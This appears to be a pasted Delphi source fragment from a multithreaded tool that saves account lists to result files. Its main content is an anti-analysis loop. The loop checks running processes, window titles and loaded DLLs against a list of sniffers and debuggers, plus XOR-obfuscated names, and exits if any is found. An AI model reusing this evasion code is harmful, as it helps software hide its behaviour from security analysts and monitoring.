- Timer1.Enabled := False;
- SpeedLabel.Caption := '0';
- Form2.tmr1.Enabled := False;
- for I := 0 to Form1.ThreadSpinEdit.Value - 1 do
- begin
- SuspendThread(FThread[I].Handle);
- FThread[I].Terminate;
- end;
- end;
- procedure TForm1.TimeOutSpinEditChange(Sender: TObject);
- begin
- FTimeOut := Form1.TimeOutSpinEdit.Value * 1000;
- end;
- procedure TForm1.Timer1Timer(Sender: TObject);
- var
- PPS: string;
- begin
- PPS := FloatToStr(FPPSValue * 1000 / Timer1.Interval);
- FPPSValue := 0;
- SpeedLabel.Caption := PPS;
- end;
- procedure TForm1.tmr1Timer(Sender: TObject);
- begin
- FAccountsReserved.SaveToFile(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')' + FServise + '\Остаток.txt');
- end;
- procedure TForm1.TrayIcon1Click(Sender: TObject);
- begin
- TrayIcon1.Visible := False;
- Form1.Show;
- end;
- procedure TASThread.Execute;
- type
- TModuleArray = array[0..400] of HMODULE;
- type
- EnumModType = function(hProcess: Longint; lphModule: TModuleArray; cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
- const
- BadWindowWND: array[1..40] of string = ('analyzer', 'httpanalyzer', 'http analyzer', 'wire', 'interce', 'charles', 'fiddler', 'megadumper', 'unpack', 'codecracker', 'patch', 'skygrabber', 'ip tools', 'packet', 'packit', 'ipgrab', 'reflector', 'olly', 'netip', 'netmonitor', 'scapy', 'wpe', 'snif', 'shark', 'ieinspector', 'tcp viewer', 'snoop', 'phant0m', 'spoof', 'ollydbg', 'lordpe', 'peid', 'cff', 'petools', 'memory patcher', 'artmoney', 'cheat engine', 'abel loader', 'inqsoft', 'http debugger');
- const
- mkb = 1755695074;
- dwx: array[0..233] of byte = ($86, $C6, $47, $64, $4F, $57, $15, $D2, $42, $83, $78, $A5, $E4, $B8, $8F, $E8, $0B, $9A, $DC, $97, $AA, $86, $52, $C8, $B6, $B0, $1A, $0F, $AF, $AE, $33, $3B, $A3, $AA, $F4, $DE, $D1, $EB, $DF, $B3, $16, $22, $8E, $F3, $5D, $A0, $79, $72, $49, $B0, $50, $30, $C4, $11, $35, $E7, $BA, $54, $0C, $AD, $07, $30, $76, $BF, $B8, $23, $45, $73, $24, $C3, $55, $CD, $AD, $A1, $7B, $77, $42, $94, $D4, $45, $E8, $7E, $64, $C8, $B0, $B4, $E3, $7B, $67, $11, $42, $50, $C0, $B5, $F7, $99,
- $BD, $89, $24, $A1, $6F, $AA, $18, $63, $58, $5C, $B7, $F9, $67, $8E, $26, $E7, $B9, $B7, $EB, $32, $7B, $CC, $5A, $EF, $A0, $E6, $82, $F8, $8C, $8A, $FD, $E2, $EB, $57, $44, $D2, $8D, $FD, $59, $78, $C2, $6A, $98, $74, $E9, $96, $FD, $16, $AF, $35, $A0, $89, $E8, $36, $E5, $82, $60, $AD, $5D, $2B, $0A, $C3, $5D, $86, $AF, $8C, $9B, $0A, $53, $F7, $31, $78, $09, $EA, $97, $7A, $19, $F9, $81, $62, $AF, $03, $F1, $1B, $C7, $B8, $E8, $49, $AD, $FE, $71, $73, $C0, $13, $6C, $3A, $AF, $9A, $2C, $D1, $05, $33, $0D, $91, $F8, $4C, $89, $8E, $75, $D5, $91, $08, $AF, $4A, $0C, $E9, $48, $42, $CF, $7A, $CC, $71, $D5, $85, $A8, $AF, $3B, $E7, $4F, $3D, $E6, $3B, $B5, $D7, $26, $66, $D7, $34);
- var
- WindowSearch: HWND;
- CurrentWnd: string;
- WHKill, FindWND: Integer;
- HandlesList: TStringList;
- buff: array[0..255] of Char;
- hSnapShot: THandle;
- CurrentProc: string;
- ProcInfo: TProcessEntry32;
- ProcessList: TStringList;
- ProcKill: Integer;
- psapilib: HModule;
- EnumProc: Pointer;
- ma: TModuleArray;
- I: Longint;
- FileName: array[0..MAX_PATH] of Char;
- S: string;
- function CryptoGuardThread(vgp, znr: Integer): string;
- var
- lau, qft: integer;
- begin
- Result := '';
- qft := mkb;
- for lau := vgp to znr + vgp - 1 do
- begin
- Result := Result + AnsiChar(Byte(dwx[lau]) xor (qft shr 8));
- qft := (dwx[lau] + qft) * (vgp + znr) + znr;
- end;
- end;
- begin
- repeat
- try
- //////////////////////////////////////////////
- // Process Monitor
- //////////////////////////////////////////////
- ///
- ProcessList := TStringList.Create;
- hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if (hSnapShot <> THandle(-1)) then
- begin
- ProcInfo.dwSize := SizeOf(ProcInfo);
- if Process32First(hSnapShot, ProcInfo) then
- begin
- ProcessList.Add(ProcInfo.szExeFile);
- while Process32Next(hSnapShot, ProcInfo) do
- ProcessList.Add(ProcInfo.szExeFile);
- end;
- CloseHandle(hSnapShot);
- end;
- if (Pos(CryptoGuardThread(20, 8), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(28, 5), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(33, 6), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(39, 10), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(49, 10), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(59, 13), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(72, 12), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(84, 9), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(93, 6), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(99, 7), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(106, 7), ProcessList.Text) <> 0) then
- begin
- ExitProcess(0);
- end;
- FreeAndNil(ProcessList);
- //////////////////////////////////////////////
- // Handle Monitor
- //////////////////////////////////////////////
- ///
- HandlesList := TStringList.Create;
- WindowSearch := GetWindow(Handle, GW_HWNDFIRST);
- while WindowSearch <> 0 do
- begin
- GetWindowText(WindowSearch, buff, SizeOf(buff));
- if buff <> '' then
- begin
- HandlesList.Add(buff);
- end;
- WindowSearch := GetWindow(WindowSearch, GW_HWNDNEXT);
- end;
- for WHKill := 0 to HandlesList.Count - 1 do
- begin
- for FindWND := 1 to 40 do
- begin
- CurrentWnd := LowerCase(HandlesList[WHKill]);
- if Pos(BadWindowWND[FindWND], CurrentWnd) <> 0 then
- begin
- ExitProcess(0);
- end;
- end;
- end;
- FreeAndNil(HandlesList);
- //////////////////////////////////////////////
- // DLL Monitor
- //////////////////////////////////////////////
- ///
- if Win32Platform <> VER_PLATFORM_WIN32_NT then
- Continue;
- psapilib := LoadLibrary(PWideChar(CryptoGuardThread(113, 9)));
- if psapilib = 0 then
- Continue;
- try
- EnumProc := GetProcAddress(psapilib, PWideChar(CryptoGuardThread(122, 18)));
- if not Assigned(EnumProc) then
- Continue;
- FillChar(ma, SizeOF(TModuleArray), 0);
- if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
- begin
- for I := 0 to 400 do
- if ma[I] <> 0 then
- begin
- FillChar(FileName, MAX_PATH, 0);
- GetModuleFileName(ma[I], FileName, MAX_PATH);
- if CompareText(ExtractFileExt(FileName), CryptoGuardThread(140, 4)) = 0 then
- begin
- S := FileName;
- S := LowerCase(ExtractFileName(S));
- if (Pos(CryptoGuardThread(144, 16), S) <> 0) or (Pos(CryptoGuardThread(160, 16), S) <> 0) or (Pos(CryptoGuardThread(176, 16), S) <> 0) or (Pos(CryptoGuardThread(192, 16), S) <> 0) or (Pos(CryptoGuardThread(208, 13), S) <> 0) or (Pos(CryptoGuardThread(221, 13), S) <> 0) then
- begin
- ExitProcess(0);
- end;
- end;
- end;
- end;
- finally
- FreeLibrary(psapilib);
- end;
- except
- end;
- Sleep(1000);
- until 1 = 0;
- end;
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement